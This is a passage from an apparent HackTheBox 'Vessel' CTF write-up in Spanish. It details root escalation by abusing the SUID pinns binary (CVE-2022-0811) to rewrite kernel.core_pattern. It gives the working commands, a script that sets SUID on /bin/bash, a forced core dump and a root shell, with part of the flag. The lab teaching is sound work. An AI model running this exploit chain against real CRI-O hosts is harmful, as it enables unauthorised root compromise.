10Linkmode:      dynamic

Según el artículo, nuestra meta es poder abusar del parámetro kernel.core_pattern para poder ejecutar comandos como root.

Podemos leer el manual de core para consultar donde podemos ver la información del valor de kernel.core_pattern y vemos que en la máquina víctima tiene un valor normal.

1https://man7.org/linux/man-pages/man5/core.5.html

Podemos leer este commit y nos damos cuenta de que CRI-O utiliza la utilidad pinns (la que tenemos el permiso de SUID) para establecer opciones del kernel, pero en la versión 1.19 pinns ahora establecerá los parámetros que queramos sin validarlos, por lo cual podemos establecer un valor malicioso que cuando ocurra un core dumped ejecute el script que nosotros queramos como root

Como no sabemos que parámetros podemos utilizar con pinns ya que por alguna razón no tiene menú de ayuda, podemos revisar el código fuente para poder leer los parámetros que acepta.

 1static const struct option long_options[] = {
 2      {"help", no_argument, NULL, 'h'},
 3      {"uts", optional_argument, NULL, 'u'},
 4      {"ipc", optional_argument, NULL, 'i'},
 5      {"net", optional_argument, NULL, 'n'},
 6      {"user", optional_argument, NULL, 'U'},
 7      {"cgroup", optional_argument, NULL, 'c'},
 8      {"mnt", optional_argument, NULL, 'm'},
 9      {"dir", required_argument, NULL, 'd'},
10      {"filename", required_argument, NULL, 'f'},
11      {"uid-mapping", optional_argument, NULL, UID_MAPPING},
12      {"gid-mapping", optional_argument, NULL, GID_MAPPING},
13      {"sysctl", optional_argument, NULL, 's'},
14  };

Modifying Core Pattern to Malicious Script

Nos interesa el parámetro sysctl que es el que podemos abusar para cambiar el valor de kernel.core_pattern Write-up Image

Vemos que tenemos un error.

1ethan@vessel:~$ /usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh'
2[pinns:e]: Path for pinning namespaces not specified: Invalid argument

Este error proviene de la línea 141, se requiere que pin_path tenga un valor que sería una ruta del sistema, este valor proviene del parámetro -d

1if (!pin_path) {
2    nexit("Path for pinning namespaces not specified");
3  }

Valor del parámetro

1case 'd':
2      pin_path = optarg;
3      break;

Y ahora tenemos un nuevo error.

1ethan@vessel:~$ /usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/null
2[pinns:e]: Filename for pinning namespaces not specified: Invalid argument

Buscando el error, tenemos que establecer el parámetro -f

1/usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/null -f test
2[pinns:e] No namespace specified for pinning

Y para terminar esto ocurre ya que el valor de num_unshares es 0

1 if (num_unshares == 0) {
2    nexit("No namespace specified for pinning");
3  }

Mediante el parámetro -U podemos hacer que aumente este valor.

1case 'U':
2      if (!is_host_ns (optarg))
3        unshare_flags |= CLONE_NEWUSER;
4      bind_user = true;
5      num_unshares++;
6      break;

Ahora vemos que se nos reporta un error donde dice que la operación no ha sido permitida, pero esto es buena señal ya que en principio debería de hacer cambiado el valor del fichero /proc/sys/kernel/core_pattern

1ethan@vessel:~$ /usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/shm -f test -U BLABLA
2[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted

Al comprobarlo nos damos cuenta de que no ha cambiado, esto es porque me he equivocado y el parámetro para sysctl es -s y no --sysctl

1ethan@vessel:~$ cat /proc/sys/kernel/core_pattern
2|/usr/share/apport/apport %p %s %c %d %P %E

Write-up Image

Después de unos intentos mas conseguimos cambiar el valor.

1ethan@vessel:~$ /usr/bin/pinns -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/shm -f test -U
2[pinns:w]: Failed to create ns file: File exists
3ethan@vessel:~$ cat /proc/sys/kernel/core_pattern
4|/tmp/pwned.sh

Triggering Core Dump

Ahora, como dicta el artículo tenemos que causar un core dump para que el kernel ejecute nuestro script malicioso.

We need to trigger a core dump to cause the kernel to execute our malicious core dump handler

Pero antes, vamos a crear nuestro script malicioso, en /tmp/pwned.sh creamos el siguiente script.

1#!/bin/bash
2
3chmod u+s /bin/bash

Le damos permiso de ejecución.

1ethan@vessel:~$ chmod +x /tmp/pwned.sh

Ahora simplemente causamos el core dump (comprobar antes el valor de /proc/sys/kernel/core_pattern ya que la máquina tiene un script que va cambiando el valor al que tenía antes)

 1ethan@vessel:~$ tail -f /dev/null &
 2[1] 18777
 3ethan@vessel:~$ ps
 4    PID TTY          TIME CMD
 5  18154 pts/1    00:00:00 bash
 6  18777 pts/1    00:00:00 tail
 7  18778 pts/1    00:00:00 ps
 8ethan@vessel:~$ kill -SIGSEGV 18777
 9ethan@vessel:~$ ps
10    PID TTY          TIME CMD
11  18154 pts/1    00:00:00 bash
12  18781 pts/1    00:00:00 ps
13[1]+  Segmentation fault      (core dumped) tail -f /dev/null

Y podemos comprobar que todo ha salido bien y tenemos permiso de SUID en la /bin/bash

1ethan@vessel:~$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Ahora podemos lanzarnos una bash con el parámetro -p para lanzarla como el propietario del binario que es root y ya hemos escalado privilegios.

1ethan@vessel:~$ bash -p
2bash-5.0# id
3uid=1000(ethan) gid=1000(ethan) euid=0(root) groups=1000(ethan)

Podemos leer la flag de root

1bash-5.0# cat root.txt
29f9cc5f5dd5d00...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Vessel   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Git_dumper.py   #Analyzing Source Code   #SQL Injection   #Authentication Bypass   #CVE-2022-24637   #PHP Code Injection   #Reversing PyInstaller Compiled Executable   #Pyinstxtractor.py   #Reversing Windows Executable   #Extracting Python Bytecode   #Decompiling Bytecode   #Decompyle3   #Abusing Poor Entropy   #Python Scripting   #Scripting   #Cracking PDF Hash   #Abusing SUID Pinns Privilege   #CVE-2022-0811 (CRI-O & Pinns)   #Modifying Core Pattern